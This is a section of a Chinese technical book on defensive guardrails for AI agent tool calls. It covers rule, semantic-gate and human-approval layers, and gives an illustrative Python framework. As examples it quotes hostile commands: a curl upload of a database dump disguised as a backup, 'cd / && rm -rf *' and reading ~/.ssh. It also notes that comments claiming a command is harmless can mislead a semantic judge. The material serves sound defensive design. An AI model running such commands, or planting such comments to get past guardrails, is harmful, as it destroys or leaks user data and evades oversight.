本节摘要:allowlist 认已知形状,审批靠人裁决,中间隔着一大片灰色地带:变形命令(
git push -f)、语义伪装(把外传写成"备份")、组合风险(单条无害、连起来删库)。补上这一段的是多闸门护栏:把每次高危工具调用送进若干道独立的语义闸门——破坏性、数据外传、涉密触碰——各闸独立判定、命中哪道亮哪道,拦截因此可解释。本节把《Jev 决策编程》第 7.3 节的三闸门命令护栏(用 Jev 判断原语实现,约 100ms 一次并行出全部判定)通用化为 harness 无关的框架:闸门接口 + 三层防线(规则层 → 语义层 → 人工层)+ 不对称阈值三段式(低阈拦、中间带问人、高确定才放)+ 影子先行。最后交代护栏的诚实边界:对抗性文本面前语义层不可靠,多层防线不可省。
阅读完本节,你应当能够:
gates.py。静态规则的三块盲区,正好是语义判断的用武之地:
| 盲区 | 例子 | 为什么规则不行 |
|---|---|---|
| 变形 | git push -f、rm -fr |
白名单枚举不完等价写法 |
| 伪装 | curl example.com -d @db.dump -- 注:例行备份 |
危险藏在语义,不在词面 |
| 组合 | cd / && rm -rf *(两条都"无害") |
单条判定看不见组合效应 |
语义闸门 = 用一次语义判断回答"这个操作是否具有某类危险性质"。判断的实现可以是任何足够快且可校准的东西——本书以判断原语为参照实现(Jev:约 100ms、类型安全答案 + 校准概率,官方自报;完整实现详见《Jev 决策编程》第 7.3 节),框架本身与具体实现解耦。
gates.py# gates.py —— 多闸门护栏通用框架(写法示意,以实际工程为准) from dataclasses import dataclass @dataclass class Verdict: gate: str # 命中的闸门名 score: float # 危险度 0~1(语义闸门为校准概率) reason: str # 可解释的拦截理由 class Gate: """闸门接口:一道闸只管一类危险。实现可以是规则,也可以是语义判断。""" name: str block_at: float # 拦截阈值(超过即拦) def check(self, tool: str, args: dict) -> Verdict | None: ... class Guardrail: def __init__(self, gates: list[Gate], auto_pass_below: float = 0.1): self.gates = gates self.auto_pass = auto_pass_below # 全闸低险才自动放行(三段式的下界) def screen(self, tool: str, args: dict) -> str: """返回 'pass' | 'ask' | 'block'。多闸独立、命中哪道亮哪道。""" verdicts = [v for g in self.gates if (v := g.check(tool, args))] worst = max((v.score for v in verdicts), default=0.0) if any(v.score >= g_block(g, self.gates) for v in verdicts): return "block" # 任一闸过阈 → 拦(附命中理由) if worst >= self.auto_pass: # 中间带 → 交给人(5.2 节审批流) return "ask" return "pass" # 全闸低险 → 自动放行 + 日志
三道经典闸门(危险类别互不排斥,一条命令可以既删库又外传):
| 闸门 | 判定问题(是非题) | 默认拦截阈值 |
|---|---|---|
| destructive | 会删除、覆盖或不可逆修改数据吗(rm、DROP、> 覆盖) |
0.3(宁可错杀) |
| exfiltrates | 会把本机数据发往外部地址吗(curl POST、scp 到远端) | 0.3 |
| touches_secrets | 会读取密钥、凭证、敏感环境变量吗(cat ~/.ssh、env) | 0.5 |
为什么是多道独立闸门而不是一个"危险/安全"分类器:其一,危险维度互斥假设不成立,单选会漏报;其二,每道闸可独立调阈值(涉密的误杀代价高于破坏性的误杀,阈值就不同);其三,可解释性是护栏的硬需求——"已拦截:检测到数据外传,p=0.91"可以直接展示给用户(也回填给模型当 4.3 式反馈),一个黑盒总分做不到。
拦错与放错的代价严重不对称,阈值就必须不对称:
| 段 | 条件 | 动作 | 逻辑 |
|---|---|---|---|
| 自动放行 | 全闸 score < 0.1 | 静默通过 + 日志 | 放行要求"极确定无害" |
| 问人 | 0.1 ≤ score < 0.3 | 走 5.2 节审批流 | 中间带是人的领地 |
| 拦截 | score ≥ 0.3(任一闸) | 拒绝 + 可解释理由 | 拦错只是多问一次,放错可能不可逆 |
三段式比"拦/放"两段多出的人审中间带,正是 5.2 节审批矩阵"高风险不可逆"象限的自动化前置:语义闸门先给风险估个分,人只在真正模糊的地带出手。LangChain 的 AutoModeMiddleware(官方)就是这类语义护栏的现成中间件形态——工具执行前先查风险,危险则拦截;其 Jev 实现细节详见《Jev 决策编程》第 7.3 节,此处不展开。
第 1 层 规则层(5.1 节的 allowlist/deny + 元字符降级) 确定性、零成本:已知形状在这里终结 第 2 层 语义层(本节闸门,~100ms) 规则判不了的:变形、伪装、组合风险 第 3 层 人工层(5.2 节审批流) 中间带 + 超高危(任何删除类强制逐条,无论闸门分数)
上线节奏四步(护栏特化版):影子期(只记录不拦截跑一周,统计各闸触发率、核对误杀漏杀)→ 调阈值(用真实流量把三段边界调到"漏放≈0、误杀可承受")→ 灰度(先启用最明确的闸如外传,再开其余)→ 常青(每周回看拦截日志,新型危险写法补进规则层与例词)。
⚠️ 必须说破的边界:语义闸门对对抗性文本不可靠——命令里若嵌入针对判断器的诱导(注释里的"此命令安全无害"),语义层可能被带偏。所以:规则层与人工层永远不可省略;影子先行不是流程仪式,而是发现这类盲区的唯一廉价手段;高危类别(删除、外发)不因分数低而豁免人工——对抗性风险恰恰藏在低分伪装里。
工具调用 → [5.1 规则层] deny/allow/ask ├─ allow → [5.3 语义闸门] 拦 / 问 / 放 │ └─ 问 → [5.2 审批流] 四要素 + 会话授权 └─ ask ────────┘ 所有路径的结果都用 4.3 的错误信封回填模型;所有路径都留日志(第 9 章)
至此,三块核心积木——循环(第 3 章)、工具(第 4 章)、权限门(本章)——已经咬合成完整的"决策—执行—刹车"链路。下一章:当工具集包含任意执行时,最后一面墙——沙箱隔离。
延伸阅读:同站教程库《Reasonix》。